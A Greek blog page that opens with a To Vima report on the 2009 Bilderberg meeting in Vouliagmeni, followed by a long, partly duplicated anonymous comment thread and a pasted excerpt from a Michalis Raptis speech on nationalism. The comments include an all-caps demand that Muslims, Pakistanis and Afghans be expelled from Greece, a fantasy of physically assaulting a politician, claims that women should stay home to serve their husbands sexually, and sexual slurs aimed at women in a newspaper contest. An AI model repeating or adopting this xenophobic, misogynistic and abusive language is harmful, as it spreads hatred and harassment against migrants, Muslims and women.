Με την οικονομία άρχισαν οι χθεσινές εργασίες της Συνόδου Μπίλντερμπεργκ. Οικονομικοί εγκέφαλοι του πλανήτη άρχισαν να αναλύουν τα αποτελέσματα της Συνόδου του G20 στην Ουάσιγκτον και πώς αυτά θα μπορούσαν να γίνουν πράξη, ενώ ιδιαίτερη έμφαση δόθηκε στις κρατικές επιχορηγήσεις που δόθηκαν στις τράπεζες για την αντιμετώπιση της κρίσης και πώς μπορούν τα χρήματα αυτά, με τον καλύτερο τρόπο, να αξιοποιηθούν στην αγορά. Προτάσεις, εισηγήσεις και προβλέψεις για την κρίση δεν έγιναν, αλλά αναμένεται να γίνουν σήμερα. Ηταν περισσότερο, όπως είπαν προς «Το Βήμα» μετέχοντες στα πάνελ της Λέσχης, θεωρία, επίδειξη γνώσεων (και αποφασιστικότητας σε ορισμένα ζητήματα) παρά συγκεκριμένες λύσεις. Το πρωί βρέθηκε στον Αστέρα και ο υπουργός Οικονομίας κ. Ι. Παπαθανασίου, ο οποίος, μόλις άρχισε τις επαφές του με ευρωπαίους ομολόγους του και προσπαθούσε να προσεγγίσει τον τούρκο υπουργό Οικονομίας κ. Αλί Μπαμπατζάν, κλήθηκε εσπευσμένως να παραστεί στη συνεδρίαση του Υπουργικού Συμβουλίου. Πήγε στο Υπουργικό και επέστρεψε για να συνεχίσει τις επαφές του.
.
Η έκπληξη ήταν ότι περίπου 1/3 των αμερικανών ισχυρών οικονομικών και πολιτικών παραγόντων δεν προσήλθαν, προφασιζόμενοι λόγους ασφαλείας, παρ΄ ότι τα μέτρα στη Βουλιαγμένη ήταν και χθες δρακόντεια.
.
Χθες το βράδυ είχε προγραμματιστεί να μεταβεί στον Αστέρα ο πρωθυπουργός κ. Κ. Καραμανλής για να απευθύνει χαιρετισμό στους συμμετέχοντες στη Σύνοδο των Αθηνών, ενώ ο πρόεδρος του ΠαΣοΚ κ. Γ. Παπανδρέου, ο οποίος επίσης εκλήθη να απευθύνει χαιρετισμό, απουσιάζει στο Πεκίνο όπου μετέχει ως πρόεδρος της Σοσιαλιστικής Διεθνούς σε άλλο διεθνές συνέδριο για τις κλιματικές αλλαγές. Ενδιαφέρον ωστόσο παρουσίασε το δείπνο-μπουφές της περασμένη Πέμπτης, όπου όλοι οι συμμετέχοντες είχαν την ευκαιρία να γνωριστούν μεταξύ τους μακριά από το πρωτόκολλο και να ανταλλάξουν απόψεις όχι μόνο για οικονομικά ζητήματα, αλλά κυρίως για πολιτικά. Τα θέματα που κυριάρχησαν στα «πηγαδάκια» των ισχυρών ήταν η κρίση στο Αφγανιστάν και στο Ιράκ και κυρίως τι πρόκειται να συμβεί όταν θα αποχωρήσουν τα αμερικανικά στρατεύματα από το Ιράκ, η επανεμφάνιση της Ρωσίας, τα ενεργειακά, η ισχυροποίηση της Κίνας και οι σχέσεις Ευρώπης -ΗΠΑ, δηλαδή πώς εξελίσσονται τώρα με την οικονομική κρίση. Πολιτικά ζητήματα απέφυγαν να θίξουν, αλλά θεωρείται βέβαιον στο περιθώριο της Συνόδου ότι θα γίνουν συζητήσεις από την υπουργό Εξωτερικών κυρία Ντόρα Μπακογιάννη για τα εθνικά μας θέματα και κυρίως για το Σκοπιανό και το Κυπριακό. Οι περισσότεροι άλλωστε υπουργοί Εξωτερικών που βρίσκονται στον Αστέρα μετέχουν στα άτυπα συμβούλια της Ευρωπαϊκής Ένωσης.
.
Χθες το απόγευμα οι ισχυροί του κόσμου εισήλθαν σε πιο περίπλοκα οικονομικά θέματα και στα ζητήματα που αφορούν την εποπτεία του χρηματοπιστωτικού συστήματος, τις προοπτικές της οικονομικής κρίσης, τις επιπτώσεις της στη βιομηχανία και στις τράπεζες, καθώς και προτάσεις αντιμετώπισης της ανεργίας. Το εντυπωσιακό είναι ότι στα πάνελ αυτά ο καθένας μπορεί να πει ό,τι θέλει, να προτείνει ό,τι επιθυμεί, χωρίς να υπάρχει ο κίνδυνος της διάψευσης ή της κρίσης. Πρακτικά κρατούνται για τις εργασίες της Λέσχης, μόνο που ποτέ δεν αναφέρεται ποιος είπε τι. Εκδίδονται πάντως σε βιβλίο μετά το πέρας των εργασιών. Οι ομιλίες και οι παρεμβάσεις γίνονται μόνο στα αγγλικά και ουδείς μπορεί να διαψεύσει τον άλλον.
.
Στην ουσία οι συνεδριάσεις της Λέσχης αποτελούν ένα παγκόσμιο think tank. Αυτός είναι και ο στόχος της Συνόδου των Αθηνών και τα συμπεράσματά της θα αποτελέσουν χρήσιμο εργαλείο για εκείνους οι οποίοι θα προσκληθούν του χρόνου στην επόμενη Σύνοδο. Οι συζητήσεις, στις οποίες μετέχει ο κ. Γ. Αλογοσκούφης, η κυρία Αννα Διαμαντοπούλου και πολλοί έλληνες επιχειρηματίες, διεξάγονται σε 15 τραπέζια στα οποία λαμβάνουν μέρος οι πάντες, με μία διαφορά. Οι συμμετέχοντες μιλούν επί συγκεκριμένου θέματος για επτά λεπτά και οι υπόλοιποι έχουν δικαίωμα να παρέμβουν για να ρωτήσουν, να προσθέσουν ή να κάνουν παρατηρήσεις για ένα μόνο λεπτό. Η μόνη τους υποχρέωση είναι να μη δημοσιοποιήσουν οτιδήποτε από τα λεχθέντα.
ΤΟ ΒΛΗΜΑ / Σάββατο 16 Μαΐου
ΝΑ ΦΥΓΟΥΝ ΟΙ ΜΟΥΣΟΥΛΜΑΝΟΙ ΑΠΟ ΤΗΝ ΕΛΛΑΔΑ .
ΕΧΟΥΜΕ ΓΙΝΕΙ ΞΕΦΡΑΓΟ ΑΜΠΕΛΙ.
Ο ΜΠΕΡΛΟΥΣΚΟΝΙ ΤΟΥΣ ΤΣΟΥΒΑΛΙΑΖΕΙ ΚΑΙ ΔΕΝ ΔΙΝΕΙ ΛΟΓΑΡΙΑΣΜΟ ΣΕ ΚΑΝΕΝΑΝ ΗΡΘΕ Η ΩΡΑ ΝΑ ΑΚΟΛΟΥΘΗΣΟΥΜΕ ΤΟ ΠΑΡΑΔΕΙΓΜΑ ΤΟΥ.
ΔΕΝ ΘΑ ΚΑΝΟΥΝ ΚΟΥΜΑΝΤΟ ΟΙ ΠΑΚΙΣΤΑΝΟΙ ΚΑΙ ΟΙ ΑΦΓΑΝΟΙ ΣΤΗΝ ΧΩΡΑ ΜΑΣ.
λοιπον ο παπατζον ανηρτησε στο μπλογκ τα πρωτοσελιδα κυριακης.διαβαζομε στο βημα
ντορα μπακογιαννη 'το πασοκ λαικιζει και δημαγωγει'
ελεος!ας τους πει καποιος στους πολιτικαντηδες να σταματησουν να λενε αυτο το αηδιαστικο λαικιζω-λαικισμος.ειναι μια νεοελληνικη παπαρια.ενα λεκτικο εξαμβλωμα που οπως πολλα αλλα κατασκευαστηκε απο τους δολοφονους της γλωσσας και των νοηματων.
το πονημα δε του αντιβλαχου περι βλακειας ταιριαζει απολυτως εδω.σε μια φραση χρησιμοποιει για το ιδιο νοημα δυο διαφορετικες λεξεις.μια εκτρωματικη κατασκευη του ξυλινου λογου και μια σωστη της αρχαιας ελληνικης που αποδιδει το νοημα της σκεψης.αλλα οταν λες κατι με ταυτολογιες και δεν το αντιλαμβανεσαι μαλλον δεν αξιζει να διαβασουμε την αναλυση σου ,αλλα το πονημα περι ηλιθιων..
@7:08, η Ντόρα, εξ όσων γνωρίζω, δεν διαθέτει καν πτυχίο ΑΕΙ (όχι ότι αυτό θα την καθιστούσε μορφωμένη γιά να εξηγούμεθα) συνεπώς τι περιμένεις - το μόνο που ξέρει να κάνει καλά είναι να περιφέρει αυτήν την φρικώδη γκριμάτσα που πουλάει γιά χαμόγελο...
Γιά όποιον δεν ενδιαφέρεται να αγοράσει το βιβλίο (αυτός θα χάσει) το λεμπέσειον πόνημα μπορεί να βρεθεί εδώ:
http://www.phys.uoa.gr/~nektar/arts/prose/evangelos_lempesis_idiots.htm
7.08, o Μπαμπινιώτης είσαι;
και επανερχομαι απο 7.08.βεβαιως υπαρχει και μια πονηρη ερμηνεια.δηλαδη οτι χρησιμοποιει δυο ταυτολογικες λεκτικες σημανσεις με στρατηγικη προτροπη των αυλικων επικοινωνιολογων της.μια λεξη (λαικισμος)για τον χυδην οχλο και η αλλη για τους ετι αντιλαμβανομενους.αυτος θα πει ξυλινος λογος βγαλμενος απο τα focus groups.
αμφιβολο ομως αν ολοι αυτοι εχουν τοσο μαεστρια να το σκεφτουν.περαν του οτι ειναι αμφιβολο αν και η ιδια γνωριζει το νοημα της εννοιας που πασχιζει να ζωγραφισει στον λογο της.αλλωστε ουτε οι αναγνωστες ουτε οι πολιτικοι και ουτε και η κυρα θοδωρα
ως sui generis ειδος διακρινονται για την αντιληψιμοτητα των(η τελευταια βεβαια ειναι αφταστη για το οικογενειακο γονιδιο της σατανικης δολοπλοκιας για ιδιον οφελος).
και πιθανον αν αιφνιδιως ερωτηθουν τι θελει να πει το εξαμβλωμα 'λαικισμος' να προσφερουν πλεριο γελωτα.
μαλιστα δε οι πλεον ημιμαθεις ειναι οι πτυχιουχοι και διδακτορες.πολλω μαλλον αν κρινει κανεις απο το οτι το πλεον παρακμιακο συμβολο της πολιτικης σημερα ,συριζα και οικολογοι,εχουν την μεγαλυτερη επιρροη στο συνολο νεων πτυχιουχων και συγκριτικα ευπορων.παραγουν 'εργο' στα σχολεια και πανεπιστημια δηλαδη..
και για την τελευταια παραγραφο μια παρατηρηση.εφημερις αυγη κυριακης 23 μαγιου 2009.
http://www.news247.gr/Headline.htm?sp=l53&sp=l100&sp=l1243180852693
μια αλλοδαπη νεαρα σε αρθρο με τιτλο.'αγαπη για μια αδικη πατριδα'.
εδω γινεται εφαρμογη στην πραξη των ανωτερω.ο 'λαικισμος' στην εφαρμοσιμοτητα του.ο τυχοδιωκτισμος για να διασφαλισουμε ενα μαγαζακι για να μας συντηρει.κοτσαρουμε και ενα προσωπο για βιτρινα να κρυψει τα προβληματα,και υποδυομεθα το αντιο ζωη με την μαρθα βουρτση για να εξασφαλισουμε την μακροημερευση του πολιτικου μπακαλικου μας.
απο ολα εχει ο μπαξες των μαγαζιων αυτων. αλλοι πουλανε εθνικοφροσυνη αλλοι ψευδοανθρωπισμο σκοπωντας σε εν δυναμει ψηφαλακια καθε πικραμενου στο μελλον και αδιαφορωντας για το τι μελλον θα εχει αυτος ο τοπος κλπ κλπ.
μια ωραια ατμοσφαιρα δηλαδη.
αν καποτε αυτο ελεγετο διαπαλη κοινωνικων τασεων υποσυνολων και συμφεροντων,σημερα μοιαζει με διαγκωνισμο μυωπικης σαχλαμαριστικης δημοκοπιας περιχαρακωμενων μπακαλικων πολιτικης.
ποιος ξεχνα την αυγη του 1979 λχ. οταν εθριαμβολογουσε για την ιρανικη επανασταση ως προοδευτικη?
μια ζωη σε πληρη ιδεοληπτικη συγχυση..
Στην Ελλάδα, τη χώρα δηλαδή της μαλακίας, δεν θα μπορούσε παρά να ηγεμονεύει (αν και τώρα όχι δημοσκοπικά) ένα τόσο φαιδρό και εμετικό κόμμα όπως ο Σύριζας. Τέτοια μαλακία είναι δύσκολο να εντοπίσει κανείς σε άλλο κομματίδιο (της Ελλάδας και του εξωτερικού). Και σαν να μην έφτανε αυτό το κόμμα ρετάλι, να σου και οι αναπόφευκτοι Οικολόγοι των γραφικών ημίτρελων Τρεμόπουλων (άλλον ένας Σύριζα δηλαδή), αποδεικνύοντας ότι στην Ελλάδα η γραφικότητα δεν πιάνει ποτέ στον πάτο. Ο από πάνω φίλος έχει δίκιο. Τα δύο αυτά γελοία κόμματα έχουν σουξέ στους νέους και μορφωμένους, πράγμα που δείχνει ότι το εκπαιδευτικό μας σύστημα είναι για τα μπάζα και ότι οι "κουλτουριάρηδες" θάλλουν στη χώρα της φαιδράς πορτοκαλέας. Περαστικά μας.
γιατι αντιδρουν οσοι το κανουν για την τουρκικη επιστροφη εν ελλαδι μεσω νατοικου διοικητη?αφου η κυρια ρεπουση κατα την διαλεκτικη που δημιουργησε το ευαγγελιο της σαφως τοποθετηθηκε.οι ρωμιοι περνουσαν υπεροχα επι οσμανοκρατιας μας ειπε.
τι θελετε λοιπον?αντι να ευχαριστειτε τους πολιτικους που φροντιζουν να μας ξαναχαρισουν παλαιους παραδεισους,σεις τους μεμφεστε?αχαριστια..
βεβαια το ρεπουσιον(και κρατικο..) αποφθεγμα θα ημπορουσε και να αναστραφει.αφου περνουσαμε ζαχαρη,ας προτεινομε στους ευεργετες τουρκους να το εφαρμοσουμε αντιστροφα σημερα.
να καταλαβουμε και εμεις την τουρκια και να κανουμε τις ιδιες πραξεις ευεγερσιας με τοτε στους ιδιους.
για να ανταποδωσουμε το καλο βρε αδερφε που μας εκαμαν και που διδασκονται ημεδαποι[και ελληνοπουλα απο το ταμ ριρι ραμ και την μεκκα..] μαθητες και φοιτητες σημερον..
καθως και να βγαλουμε την υποχρεωση για τα τοσα κακα που τους προκαλεσαμε οπως παλι διδασκονται[τροπολιτσα 1922,κλπ].ειμαι πεπεισμενος πως τοσο οι τουρκοι οσο και η κυρια ρεπουση και σια δεν θα εχουν αντιρρηση σε μια τετοια πραξη μεγαλοψυχιας και στην αναγκη μας να καθαρουμε τις ερινυες ημων..
γιατι αντιδρουν οσοι το κανουν για την τουρκικη επιστροφη εν ελλαδι μεσω νατοικου διοικητη?αφου η κυρια ρεπουση κατα την διαλεκτικη που δημιουργησε το ευαγγελιο της σαφως τοποθετηθηκε.οι ρωμιοι περνουσαν υπεροχα επι οσμανοκρατιας μας ειπε.
τι θελετε λοιπον?αντι να ευχαριστειτε τους πολιτικους που φροντιζουν να μας ξαναχαρισουν παλαιους παραδεισους,σεις τους μεμφεστε?αχαριστια..
βεβαια το ρεπουσιον(και κρατικο..) αποφθεγμα θα ημπορουσε και να αναστραφει.αφου περνουσαμε ζαχαρη,ας προτεινομε στους ευεργετες τουρκους να το εφαρμοσουμε αντιστροφα σημερα.
να καταλαβουμε και εμεις την τουρκια και να κανουμε τις ιδιες πραξεις ευεγερσιας με τοτε στους ιδιους.
για να ανταποδωσουμε το καλο βρε αδερφε που μας εκαμαν και που διδασκονται ημεδαποι[και ελληνοπουλα απο το ταμ ριρι ραμ και την μεκκα..] μαθητες και φοιτητες σημερον..
καθως και να βγαλουμε την υποχρεωση για τα τοσα κακα που τους προκαλεσαμε οπως παλι διδασκονται[τροπολιτσα, 1922,κλπ].ειμαι πεπεισμενος πως τοσο οι τουρκοι οσο και η κυρια ρεπουση και σια δεν θα εχουν αντιρρηση σε μια τετοια πραξη μεγαλοψυχιας και στην αναγκη μας να καθαρουμε τις ερινυες ημων..
νεοελληνικος σουρρεαλισμος..
Είναι φυσικό επίσης να αισθάνεται ότι δεν μπορεί να έχει δράση επαναστατική, αν δεν δείχνει απέναντι στο λαό του μια συμπαράσταση. Σε ποιον κάτοικο της χώρας σου μπορείς να μιλήσεις και να πεις ότι σου είναι αδιάφορη η ιστορία της Κύπρου ή η επανάληψη της ιστορίας της Κύπρου αύριο και να νομίζεις ότι με τέτοια στάση μπορεί να ₽χεις οποιοδήποτε δεσμό με το λαό σου για άλλες επιτεύξεις; Εάν δεν αφαιρέσεις από την αστική ηγεσία την υπεράσπιση του εθνισμού και την περάσεις στα χέρα της Αριστεράς, είσαι τελείως χαμένος σε οποιοδήποτε επαναστατικό σου παιχνίδι.
Είναι εντελώς σωστό να λέμε αυτό: δεν διεκδικούμε απολύτως τίποτα. Πράγματι δεν διεκδικούμε. Και οποιοσδήποτε πόλεμος επιθετικός και για πλιάτσικο είναι καταδικαστέος από εμάς. Οποιοδήποτε «γιουρούσι» που ορισμένοι σκέπτονται ακόμη στην Αλβανία για να ξαναπάρουμε τη Βόρεια Ήπειρο είναι λανθασμένο. Οποιοδήποτε γιουρούσι και πλιάτσικο, οποιοσδήποτε επιθετικός πόλεμος δεν είναι μόνο καταδικάσιμος, γιατί αλλάζει το χαρακτήρα της αντίστασης του λαού, αλλά είναι και εσφαλμένος μέσα στις τωρινές συνθήκες, θα καταλήξει σε μία γενικότερη σύρραξη από την οποία η Ελλάδα δεν πρόκειται να κερδίσει απολύτως τίποτα. Αλλά, ενώ είναι τελείως σωστό να λέμε ότι δεν διεκδικούμε απολύτως τίποτα, να προσθέτουμε επίσης -διότι αυτό είναι ζήτημα που πρέπει να το εξετάσουμε σοβαρά- ότι είμαστε υπέρ της πληρότητας των δικαιωμάτων οποιασδήποτε εθνικής μειονότητας υπάρχει στην Ελλάδα και πρέπει να δούμε πού υπάρχουν συγκεκριμένα ζητήματα και εκεί που γίνονται αδικίες να επανορθωθούν έγκαιρα. Όχι όπως κάναμε με την τουρκική μειονότητα εν μέρει στην Κύπρο. Λέγοντας αυτά, λέμε επίσης ότι όσο είμαστε εναντίον οποιουδήποτε επιθετικού πολέμου, όπως είμαστε βέβαια υπέρ της υπεράσπισης μειονοτήτων δικών μας στο εξωτερικό, έτσι δεν είμαστε διατεθειμένοι να παραχωρήσομε πια τίποτα από το συγκεκριμένο εθνικό κορμό που έχουμε.
Κι όταν λέμε τίποτα αυτό το πράγμα πρέπει να είναι μια εντελώς διαφορετική, ιδεολογική και πρακτική προετοιμασία κυρίως της νεολαίας μας, η οποία εν μέρει έχει προσβληθεί από το μικρόβιο του ευρωπαϊσμού και της πολιτιστικής αμερικανοποίησης.
* Το κείμενο αποτελεί μέρος της εισήγησης του Μιχάλη Ράπτη σε εκδήλωση που πραγματοποιήθηκε τον Ιούνιο του 1994 από τα περιοδικά Convoy, Mατσακόνι και τον όμιλο «Πρωταγόρας», στο Πολυτεχνείο.
Μιχάλης Ράπτης (Πάμπλο)*
Περιοδικό Convoy, τεύχος 18, Ιούνιος 1995
Νομίζω ότι πράγματι είναι σωστό ότι η Ελλάδα σήμερα απειλείται. Ότι υπάρχει ένας κίνδυνος. Ότι υπάρχει ένα σχέδιο αναδόμησης των Βαλκανίων, στο οποίο κυριαρχικό ρόλο θα παίξει η Γερμανία, οι ΗΠΑ και η Τουρκία, χρησιμοποιώντας τις μουσουλμανικές μειονότητες από τη Βουλγαρία, τη Θράκη, τα Σκόπια, το Κοσσυφοπέδιο, την Αλβανία, τη Βοσνία. Όπου η Ελλάδα βρίσκεται ουσιαστικά απομονωμένη και δεν έχει ως σύμμαχο -από άποψη γεωπολιτική- παρά τους Σέρβους. Οι οποίοι Σέρβοι σε μια ορισμένη στιγμή είναι δυνατόν και αυτοί να υποταχθούν στην pax americana. Αντιστέκονται για την ώρα και η αντίστασή τους είναι θετική και εκμεταλλεύσιμη και από τη μεριά τη δική μας, αλλά όμως δεν υπάρχει καμία εγγύηση ότι και η Σερβία και η Ελλάδα τελικά με υποχωρήσεις δεν θα ενταχθούν σε μια pax americana κυριαρχούσα σ' ολόκληρα τα Βαλκάνια. Πρέπει αυτό να το έχουμε υπόψη μας και απέναντι σ' αυτό το πράγμα να υπάρχει μία αντίσταση. Η μορφή αυτής της αντίστασης δεν μπορεί να πάρει δυστυχώς το χαρακτήρα άμεσης κοινωνικής επανάστασης, στηριζόμενης στις εργατικές μάζες της Ελλάδας, οι οποίες θα ανατρέψουν αυτή την κατάσταση. Παίρνει, για την ώρα, το χαρακτήρα ενός εθνισμού. Αφύπνισης του εθνισμού.
Προσωπικά θεωρώ ότι είναι αναγκαία οι Έλληνες να αποκτήσουν μια συνείδηση του εθνισμού τους και να είναι έτοιμοι, όταν πρόκειται να γίνει μία περαιτέρω συρρίκνωση του λεγομένου εθνικού τους κορμού, να αντισταθούν. Να μην επαναλάβουν το έγκλημα, την αδυναμία, την προδοσία, τη δειλία που έδειξαν στο ζήτημα της Κύπρου. Δεν είμαι υπέρ μιας επανάληψης της Κύπρου και στην Ελλάδα. Δεν θεωρώ ότι είναι τίποτα το διεθνιστικό μία αδιαφορία πλήρης αν γίνει ή δεν γίνει και στην Ελλάδα κάτι παρόμοιο που έγινε στην Κύπρο. Μα με ποιο θάρρος μπορείς να λες ότι είσαι υπέρ των Κούρδων ή των Παλαιστινίων που ζητάνε μια πατρίδα κι όταν γίνει σ' ένα τμήμα δικό σου εισβολή, κατοχή, αλλαγή πληθυσμών και δημιουργείται δικό σου παλαιστινιακό ζήτημα, ποια στάση κρατάς απέναντι στην Κύπρο; Και ξεκινώντας απ' αυτά, ποια στάση πρόκειται να κρατήσεις αν συμβεί κάτι παρόμοιο στην Ελλάδα; Είναι σωστό ότι ο εθνισμός που είναι απαραίτητος, δεν είναι σε καμία αντίθεση με το διεθνισμό. Ο κάθε διεθνιστής έχει και μια ιδιαίτερη πατρίδα και είναι φυσικό την πατρίδα αυτή να την αγαπάει όχι περισσότερο από τις
άλλες, αλλά τουλάχιστον το ίδιο.
foringΠΡΟΣ ΤΟΥΣ ΑΠΟ ΠΑΝΩ ....ΕΛΛΗΝΑΡΑΔΕΣ
ΚΛΑΣΤΕ ΜΑΣ Τ ΑΡΧΙΔΙΑ
Παρακολουθούσα στα δελτία ειδήσεων τον νεαρό Αλέξη της Αριστεράς, τον ανόητο Τσίπρα. Είναι ένας τύπος που σου προκαλεί αναγούλα. Βαρετός παλαιοκομματικός λόγος, υφάκι κωλοπαιδίστικης άνεσης, αριστερίλα, δηλ. ιδεολογική μασχαλίλα-ποδαρίλα πίσω από τα μακό και τα ανοιχτά πουκαμισάκια. Η οίηση και αυταρέσκεια αυτού του κομματικού μπούλη προκαλεί τέτοια αποστροφή, που σου έρχεται να τον αρπάξεις από το σβέρκο και να τον τρελάνεις στις φάπες.
Έχεις απόλυτο δίκιο ανώνυμε από πάνω. Τί εκνευριστικός άνθρωπος αυτός ο Τσίπρας. Χρόνια είχαμε να δούμε τόσο εκνευριστική περίπτωση στην πολιτική. Και ο Αλαβάνος μπορεί να είναι ένας κουραστικός αριστεριστής, αλλά έχει κάποια σοβαρότητα. Αυτός ο Τσίπρας έχει σπάσει όλα τα κοντέρ της γελοιότητας.
O Αλαβάνος έχει σοβαρότητα; Τί άλλο θα ακούσουμε.. Ήμαρτον.
Ρε κοπρόσκυλα τι σας φταίει ο Αλαβάνος και ο Τσίπρας;
Δηλαδή τι να ψηφίσουμε; Τους καραγκιόζηδες που τάχουνε τσεπώσει απ όλες τις πάντες και έχουν κάνει τη χώρα μπουρδέλο;
Έτσι και βγουν οι τσίπρες θα γεμίσουμε μετανάστες και φεμινίστριες. Το καλό θα ήταν βέβαια να τη βρίσκαν μεταξύ τους και να μας άφηναν στην ησυχία μας, αλλά στην πραγματικότητα δε γουστάρουν οι μεν τις δε.
Όσο για το περιρρέον κοινωνικό πλαίσιο, την οπισθοδρομικότητα της επαρχίας και τον ψευτοπροοδευτισμό του κωλονακίου, φταίνε οι γυναίκες που δεν κάθονται στα σπίτια τους και δεν ικανοποιούν σεξουαλικά τους άντρες τους παρά έχουν το νου τους στο πως θα διοριστούν στο δημόσιο.
Ο Τσίπρας είναι ένας Ρουσόπουλος με ελβιέλες και κοκοράκι τύπου Grease, πρώην κνίτης σαν τον καραγκιοζοπαίκτη του τον κυρ-Αλέκο, κλασικός νεοέλλην αγράμματος κάγκουρας, θα μπορούσε κάλλιστα να παίζει τον ρόλο του Σταμάτη Γαρδέλη στο Ρόδα, Τσάντα και Κοπάνα the Sequel με συμπρωταγωνίστρια την Μιλένα Αποστολάκη (με όχι τόσο μεγάλη επιτυχία)...
ΥΓ ένα μικρό αφιέρωμα στους φίλους του blog, ο Εθνικός Σταρ σε πρώιμο στάδιο της μετεωρικής καριέρας του:
http://www.youtube.com/watch?v=qlsPWnwv3Hs
Ευτυχώς οι γελοίοι του Σύριζα, μέσα στον "επαναστατικό" οίστρο τους, την πάτησαν με τα "Δεκεμβριανά", όταν αποφάσισαν να "αναρχίσουν" και να "κουκουλοφορίσουν". Την πάτησαν γιατί και πολιτικά είναι ανόητοι και δεν είδαν την παγίδα, αφού δεν ξέρουν τίποτα από πολιτική και ψυχολογική ανάλυση. Έτσι τη γλιτώσαμε (για την ώρα τουλάχιστον). Με τρόμο έβλεπα τα ποσοστά του γελοιδέστατου αυτού κόμματος να παίρνουν την ανηφόρα και σκεπτόμουν ότι σ' αυτή τη χώρα υπάρχουν πάντα και χειρότερα. Βέβαια, από την ουσία του λόγου των άπλυτων κουλτουριάρηδων του Σύριζα δεν πρόκειται να γλιτώσουμε με τίποτα, καθώς είναι γνωστό ότι η πολιτική όλων σχεδόν των κομμάτων πολιτική Σύριζα είναι, δεδομένου ότι ο Σύριζα έχει διαποτίσει τα πάντα... Ήρθαν τώρα να προστεθούν και οι γλοιωδέστατοι Οικολόγοι που αποτελούν άλλη μια αστεία παραφυάδα της κουλτουριάρικης αριστεράς. Και που είμαστε ακόμα.....
Vote for me στον διαγωνισμό της Απογευματινής!http://www.apogevmatini.gr/?p=26161
Βεβαίως Ιωάννα και θα ψηφίσουμε μια κουκλίτσα σαν και εσένα. Αυτό είναι αυτονόητο. Και είσαι Ιωάννα καλύτερη από όλες τις άλλες. Και μάλιστα με διαφορά.
Βεβαίως Ιωάννα και θα ψηφίσουμε μια κουκλίτσα σαν και εσένα. Αυτό είναι αυτονόητο. Και είσαι Ιωάννα καλύτερη από όλες τις άλλες. Και μάλιστα με διαφορά.
Δήμητρα Αλεξανδράκη
ΤΗΕ ΒΕST
ΟΙ ΑΛΛΕΣ ΔΕΝ ΚΑΝΟΥΝ ΟΥΤΕ ΓΙΑ ΖΩΟΤΡΟΦΗ.....
ΞΥΝΟΓΑΛΟΣ
©
Ξυνόγαλε, από ποια πόλη είσαι, εάν επιτρέπεται;
Ναι πράγματι η Αλεξανδράκη είναι πολύ καλή. Έχει δίκιο ο Ξυνόγαλος.
Καλή βέβαια και η Αλεξανδράκη (έχουν δίκιο ο Ξυνόγαλος και ο ανώνυμος). Αλλά μπορούμε να πούμε ότι είναι ακόμα καλύτερη και από την Ιωάννα; Εγώ πάντως έριξα μία ψήφο στην Ιωάννα μας ήδη.
βρε παλιομαλακισμενες τσουλια στο λινκ της απογευματινης,δεν εχετε πατερα και αδελφια να σας μαζεψει που βγηκατε ολες στο κλαρι για κανα πουτσο!
βρε παρθενοπιτσες ,ανεπροκοπες και τεμπελες,που αντι να κοιταξετε να κανετε τιποτα να τιμησετε την ζωη σας,βγαινετε στο κλαρι οπου προλαβετε να βρειτε να σας ταιζει και να σας ικανοποιει το ψωνιο για μεγαλη ζωη με κλεμμενα λεφτα, απο κανα καργιολη κοιλαρα,κανα κωλοπαιδαρα που τρωει τα λεφτα του φοροφυγα πατερα,κανα νταβα,κανα πρεζεμπορα λαθρεμπορα,καταχραστ紨επιχειρηματιᨴ που κλεβει το κρατος με τον κολλητο πολιτικαντη-ξυσταρχιδι .
Γενικα καθε λαμογιο και σαχλαμαρα απατεωνα που συνιστα τον νεοελληνικο κορμο της χωρας.
και τους παρατρεχαμενους, μμε και τζιτζιφιογκους αεριτζηδες που τρεχουν να προσφερουν υπηρεσιες ΣΩΜΑΤΕΜΠΟΡΑ για τα βλαμμενα κοριτσια του λαου προς πωληση σε μια χυδαια νεοπλουτιστικη ελιτ που δεν παραγει τιποτα στην οικονομια για να πλουτισει παρα μονο χυδαιοτητα κλεπτοκρατια και διαφθορα ψυχων.
Η ΜΙΣΗ ΝΡΟΠΗ ΔΙΚΗ ΣΑΣ.Η ΑΛΛΗ ΜΙΣΗ ΟΛΩΝ ΠΟΥ ΦΤΑΣΑΜΕ ΣΤΗΝ ΞΕΦΤΙΛΑ.
μονη ελπιδα να καταρρευσει η παγκοσμια οικονομια που παραγει πλουτο απο αερα ακαλυπτο.χωρις παραγωγικη διαδικασια.
και να αποκτησουμε αληθινους καπιταλιστες που θα παραγουν πλουτο απο παραγωγη.οχι απο αερα.
τοτε και τα κοριτσια της απογευματινης και καθε βραδυνης δουλειας θα αποκτησουν μια καλυτερη ζωη απο το να δειχνουν τουρλοκωλια σε χυδαιους και ουτιδανους νεοπλουτους με μαυρο χρημα για να ξεφυγουν απο την μιζερια.
24 may 1.57pm
MOROOOOO MOY!!!
PELAAAAAATI MOYYYY!
Μαριέττα Γιαννάκου
"έχουν μετανιώσει αυτοί που με πολέμησαν"!
Επειδη με τσιγκλισε το τσιτατο της λατρεμενης μας κωμικου και ελ σιντ της πολιτικης μας φαρσοκωμωδιας marrieta giannakou.
προσθετω λοιπον την απορια μου.γιατι αντιδρατε για την μαρρι(ον)εττα μας και το εργο της;γιατι αμφισβητειτε οτι ολα τα μοναστηρια ξωκκλησια και του αγιου σουλπικιου του ρεπουσιουσηχαστου περιλαμβανομενου σημειωνουν τον τελευταιο καιρο κατακορυφη αυξηση επισκεπτων απο την μαζικη καταφυγη σε αυτα μεταννοημενων μαρι(ονν)ετοφαγων που ζητουν αφεση αμαρτιων τους;
αγαπημενη ελ σιντ του ελληνισμου ελεησον ημας.ολοι πικρα αμαρτησαμε.για αυτο ολοι ζητουμε να μας διαβαζουν με το καλο ευαγγελιο.
αφου η κυρια ρεπουση κατα την διαλεκτικη που δημιουργησε το ευαγγελιο της σαφως τοποθετηθηκε.οι ρωμιοι περνουσαν υπεροχα επι οσμανοκρατιας μας ειπε.
τι θελετε λοιπον?αντι να ευχαριστειτε τους πολιτικους που φροντιζουν να μας ξαναχαρισουν παλαιους παραδεισους,σεις τους μεμφεστε?αχαριστια..
βεβαια το ρεπουσιον(και κρατικο..) αποφθεγμα θα ημπορουσε και να αναστραφει.αφου περνουσαμε ζαχαρη,ας προτεινομε στους ευεργετες τουρκους να το εφαρμοσουμε αντιστροφα σημερα.
να καταλαβουμε και εμεις την τουρκια και να κανουμε τις ιδιες πραξεις ευεγερσιας με τοτε στους ιδιους.
για να ανταποδωσουμε το καλο βρε αδερφε που μας εκαμαν και που διδασκονται ημεδαποι[και ελληνοπουλα απο το ταμ ριρι ραμ και την μεκκα..] μαθητες και φοιτητες σημερον..
